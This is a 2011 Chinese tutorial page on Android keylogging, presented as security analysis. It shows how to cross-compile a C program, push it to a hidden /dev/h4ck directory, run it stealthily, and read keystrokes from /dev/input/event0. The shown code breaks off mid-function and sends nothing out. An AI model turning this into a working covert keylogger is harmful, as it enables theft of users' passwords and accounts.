免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > Android系统键盘记录安全分析

Android系统键盘记录安全分析

时间:2011-12-16 12:54来源:未知 整理:寂涯网络 点击:

盗号木马大家都很常见了,但大多数都是在windows平台下的,像阿拉QQ大盗等键盘
记录程序都给用户带来不少的麻烦。在android手机越来越普及的今天,盗号木马也将会转
移到手机上来,为了更好的防范这种盗号木马,我们首先要了解其原理。
首先是要了解Android系统,Android是基于Linux的操作系统,处理器是ARM的,所
以要在Linux或Windows等x86系统上编译Android能运行的程序,你需要一个交叉编译器。 
工欲善其事必先利其器,在Linux 下面,你可以自已编译一个交叉编译环境,但Windows
下面,就比较复杂(也可以在 cygwin中编译一个),但我推荐大家选择下载一个现成的交叉
编译环境:

http://www.jybase.net/gnu_toolchains/arm/portal/package3400/public/arm-no
ne-linux-gnueabi/arm-2008q3-41-arm-none-linux-gnueabi.exe

这是一个命令行工具,安装好了之后,最好将CodeSourcery编译器的 bin目录加入你
的PATH 环境变量中,就可以开始你的Android  Native C开发之旅了,先来熟悉一下开发调
试流程,下面写好一个简单的C程序:  
#include <stdlib.h>
int main(int argc, char** argv) {
 printf("hello android!\nI'm %s!\nI like android very much!!!\n", "GuiGu");
 return 0;
}

将上述代码另存成hello.c,然后进入命令行模式,确保交叉编译器的bin 目录,及
Android SDK的tools目录在你的系统环境变量的path里面,用如下命令编译:  

arm-none-linux-gnueabi-gcc -static hello.c -o hello

成功编译后会在该目录下生成一个hello的文件,下面启动Android模拟器,用如下命
令将文件 push到Android模拟器上: 
 
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello  

上述命令的含义是:先创建 /dev/h4ck目录,再将编译好的hello上传上去,最后将
hello改成可执行的。
上传好了之后,再进入命令行模式,进入Android的 shell环境:
adb shell
#cd /dev/h4ck
#./hello

进入 /dev/h4ck目录,执行hello,运行结果如下图: 

可以看到在android主界面是没有任何反应的,程序是后台静默运行的,具有很强的隐
蔽性。下面说说键盘记录的原理吧。如果你做过android系统编程就会知道键盘事件用的
device 是 /dev/tty0,进入 /dev/input 目录,发现在3个 device文件:
mice,mouse0,event0,分别 cat 这3 个文件,发现只有 event0 有反应。

而且不管是点击鼠标还是按键,都有反应,但显示的是一堆乱码,而且点击鼠标出来的
东西要多一点,这就说明,android会将用户的操作保存在这个文件中。我们只要写一段代
码来分析这些乱码就可以获得我们想要的信息了,下面来编程实现吧。
为了分析 event0 的返回值,写了一段代码key.c,核心代码如下:  
static int event0_fd = -1;
 struct input_event ev0[64];
 static int handle_event0() {
     int button = 0, i, rd;
     rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
     if ( rd < sizeof(struct input_event) ) return 0;
     for (i = 0; i < rd / sizeof(struct input_event); i++) {
         if (ev0[i].type == 1&&ev0[i].value == 1) {
    printf("您按下键盘的编码是: %3d\n", ev0[i].code);
             if (ev0[i].code == 158) {
                 return 0;
             }
         }
     }
     return 1;
 }
 int main(void) {
  int done = 1;
     event0_fd = open("/dev/input/event0", O_RDWR);
     if ( event0_fd < 0 )
         return -1;
  printf("开始键盘监听...\n"); 

本页地址 http://www.jybase.net/xitonganquan/20111216720.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com